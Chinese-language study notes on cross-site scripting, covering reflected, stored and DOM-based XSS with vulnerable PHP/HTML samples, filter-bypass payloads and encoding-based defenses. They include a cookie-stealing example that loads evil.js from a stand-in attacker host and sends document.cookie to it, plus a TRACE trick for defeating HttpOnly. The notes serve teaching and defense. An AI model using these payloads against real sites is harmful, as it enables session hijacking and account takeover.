XSS:跨站脚本攻击(Cross Site Script)
形成原因是:未对用户输入的数据做好过滤,导致HTML页面被注入恶意脚本,从而在用户浏览网页时,被攻击者控制用户浏览器(反射一些用户信息如cookie等给攻击者)。
通常利用方法:XSS漏洞一般是通过php的输出函数将javascript的代码(恶意代码)输出到HTML页面,所以XSS漏洞关键是寻找参数未做过滤的输出函数。
php的常用输出:
echo
print()
print_r()
printf()
sprintf()
var_dump() 打印变量的内容和结构、类型信息
var_export()
die
反射型
反射型XSS只是简单的把用户输入的数据反射给浏览器,通常需要用户操作触发。(非持久型)
常见场景:用户名输入、id等
举例:
<!DOCTYPE HTML>
<html>
<head>
<meta charset=utf-8>
<title>反射型XSS</title>
</head>
<body>
<form method="GET">
<td>用户名:</td>
<input type="text" name="user" />
<input type=submit name=submit value=开始 />
<?php>
$input=$_GET["user"];
echo "<div>".$input."</div>";
?>
</body>
</html>
将用户输入数据直接输出在html中,没有做过滤。
构造payload:
<script>alert(/xss/)</script>
被写入javascript代码,xss成功利用。
存储型
存储型XSS把用户输入的数据存储在服务端(持久型、稳定且可跨域)
常见场景:博客发表、留言板等。
举例:
靶场pikachu
<p class="xsss_title">我是一个留言板:</p>
<form method="post">
<textarea class="xsss_in" name="message"></textarea><br />
<input class="xsss_submit" type="submit" name="submit" value="submit" />
</form>
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>数据库出现异常,提交失败!</p>";
}
}
构造payload
<script>alert(document.cookie)</script>
没有对数据进行检验过滤,服务端数据库被写入恶意代码。
每次写留言都会弹窗,xss利用成功。
DOM
DOM Base 通过修改页面的DOM的节点形成XSS。
举例说明
页面代码为:
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<script>
function test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>";
} //通过获取id为text的值即用户的输入,把用户的数据当作html写入id为t的标签中
</script>
</head>
<body>
echo 'hello'
<div id='t'></div>
<input type="text" id="text" value=""/>
<input type="button" id="s" value="write" onclick="test()"/>
</body>
</html>
正常页面:
这里script函数的作用是:通过获取id为text的值即用户的输入,把用户的数据当作html写入id为t的标签中生成链接testlink。没有对用户数据进行过滤,导致存在DOM xss。
构造payload:
'οnclick=alert(/xss/)// 前面的单引号闭合href前面的单引号,//注释后面的单引号。
执行后,成功在html中插入代码
点击链接成功利用xss
xss payload
1、Cookie劫持
cookie中一般保存了当前用户的登录凭证,如果攻击者能够获取用户的cookie则可以不用密码直接登录进用户账号。
示例代码:
用户访问链接
http://www.a.com/test/html?a="><script> src=http://www.evil.com/evil.js></script>
=后面是可控点,为了在url中减少写入代码,将代码放置evil.js中
evil.js代码
var img=document.createElement('img');
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
防御:在Set-Cookie时给关键的cookie植入httponly标识;将cookie和客户端ip绑定
2、构造GET和POST请求
通过DOM构造GET和POST请求
通过XMLHttpRequest构造
3、XSS钓鱼
4、识别用户浏览器
<script>alert(navigator.userAgent);</script>
5、识别用户安装的软件
var obj= new ActiveXObject('XunLeiBHO.ThunderIEHelper');
检测迅雷的一个控件(XunLeiBHO.ThunderIEHelper)是否存在
6、CSS History Link
用户访问和未访问链接的颜色不同,通过css style属性payload获得用户访问记录
7、获取用户的真实ip
XSS攻击一般通过借助第三方软件来完成。比如JAVA环境(通过jiava applet接口获取本地ip,创建套接字)
XSS 攻击工具
1、Attack API
2、BeEF
后面补充说明该平台的使用
3、XSS-Proxy
Javascript 调试工具
1、Friebug
后面补充介绍高工具
2、IE 8 Developer Tools
3、Fiddle
4、Http Watch
XSS payload绕过
1、转义双引号
var = "\";alert(/xss/);";
第二个双引号被转义,变量无法逃逸双引号,闭合不了内置的双引号,写入失败!
字符编码绕过
一些返回页面时GBK/GB2312编码(百度),因此%c1</font>这两个字符组合在一起后会成为一个Unicode字符。
payload:
%c1";alert(/xss/);//
%c1把 转义符号\吃掉了,从而闭合前面的双引号,实现绕过。
2、长度限制
长度被限制,被截断
<script>alert(/xss/);</script>
利用事件绕过(Event)
"οnclick=alert(/xss/)//
"οnclick="eval(location.hash.substr(1))
#alert(1)
"οnfοcus=alert(/xss/)//
"οnmοuseοver=(/xss/)//
注释符绕过
”><!- -
– ><script>alert(/xss/)</script>
3、<base>标签
<base href = "attack.com">
<img src="/test.png"/>
攻击写入base标签后可以控制页面的所有使用相对路径的标签
4、Windows.name
<script>
windows.name="alert(document.cookie)";
location.href="http://"
</script>
同一窗口打开XSS站点后执行:
eval(name);
5、Flash XSS
6、Javascript开发框架
7、trace绕过httponly
Apache支持的一个Header是TRACE。TRACE一般用于调试,会将请求头作为HTTP Response Body返回
<script>
function sendTrace(){
var xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlHttp.open("TRACE","http://foo.bar",false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText();
alert(xmlDoc);
}
<input type=button onclick="sendTrace();" value="send trace request">
</script>
XSS 防御
1、HttpOnly
浏览器禁止页面的JavaScript访问带有HttpOnly属性的Cookie。
HttpOnly解决的时XSS后的cookie劫持攻击。
<?php>
header("Set-Cookie: cookie=test;httponly",false)
2、对用户输入数据检查
将特殊字符如<、>、’、“等,进行过滤或者编码。
3、对数据输出检查
1、安全编码函数
HtmlEncode 将特殊字符编码成实体字符
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
PHP中有 htmlentities()、htmlspecialchars()函数可以满足安全要求
JavaScript中JavaScriptEncode与HtmlEncode编码方式不同,它需要使用”\“对特殊字符进行转义
所以输出变量需要在引号内部
var y = '"'+escapeJavascript($evil)+'"';
3、插入点
1、在HTML标签中输出
<div>$var</div>
<a href=# >$var</a>
payload
<div><script>alert(/xss/)</script></div>
<a href=# ><img src=# onerror=alert(/xss/) /></a>
防御:对变量使用HtmlEncode
2、在HTML属性中输出
<div id="abc" name="$var" ></div>
payload
<div id="abc" name=""><script>alert(/xss/)<script><"" ></div>
"><script>alert(/xss/)<script><"
防御:对变量使用HtmlEncode
3、在script标签中输出
<script>
var x= "$var";
</script>
payload
<script>
var x= "";alert(/xss/);//";
";alert(/xss/);//
</script>
防御:使用JavascriptEncode
4、在事件中输出
<a href=# onclick="funca('$var')">test</a>
payload
<a href=# onclick="funca('');alert(/xss/);//')">test</a>
');alert(/xss/);//
防御:使用JavascriptEncode
5、在CSS中输出
<style>@import'http://ha.ckers.org/xss.css';</style>
<stylr>body{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</style>
<xss style="behavior:url(xss.htc);">
<style>li {list-style-image:url("javascript:alert(/xss/)");}</style><ul><li>xss
<div style="background-image: url(javascript:alert(/xss/))">
<div style="width: expression(alert(/xss/));">
防御:QWASP ESAPI中的encodeForCSS函数 除字母和数字外的所有字符都被编码成十六进制形式”\uHH“
6、地址栏中输出
部分路径可控
<a href="http://www.evil.com/?test=$var">test</a>
payload
<a href="http://www.evil.com/?test="οnclick=alert(/xss/)"">test</a>
"οnclick=alert(/xss/)"
防御:URLEncode
全部路径可控:
<a href="$var">test</a>
payload
<a href="javascript:alert(1);">test</a>
javascript:alert(1);
利用伪协议javascript:(dataURL:、vbscript:等)
防御:URL以http://开头,然后再URLEncode
DOM Base XSS 防御
形成原因:
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<script>
function test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>";
} //通过获取id为text的值即用户的输入,把用户的数据当作html写入id为t的标签中
</script>
</head>
<body>
echo 'hello'
<div id='t'></div>
<input type="text" id="text" value=""/>
<input type="button" id="s" value="write" onclick="test()"/>
</body>
</html>
关键:
document.getElementById("t").innerHTML="<a href='"+str+"'>testlink</a>";
将HTML代码写入DOM节点,最后导致了XSS的发生
DOM Base XSS 是从JavaScript中输出数据到HTML页面,
上文都是针对从服务器应用直接输出到HTML页面,不适合DOM
防御:
首先再$var输出到script标签中时,进行一次javascriptEncode;
其次再document.write输出到HTML页面时,
如果输出到事件或脚本,则在进行一次JavaScriptEncode;
如果输出到HTML内容或属性,则进行一次HtmlEncode。
会触发DOM Base XSS的地方:
javascript输出到HTML页面的必经之路:
document.write()
document.writeln()
xxx.innerHTML=
xxx.outHTML=
innerHTML.replace
document.attachEvent()
windows.attachEvent()
document.location.replace()
document.location.assign()
…
页面中的所有的inputs
windows.location(href、hash)
windows.name
document.referer
document.cookie
localstorage
XMLHttpRequest 返回数据
总结
反射型XSS一般需要诱使用户点击包含XSS代码的URL;存储型XSS,打开正常的URL执行XSS代码,相比来说更隐蔽和稳定;存储型比反射型危害更大。
未完待续…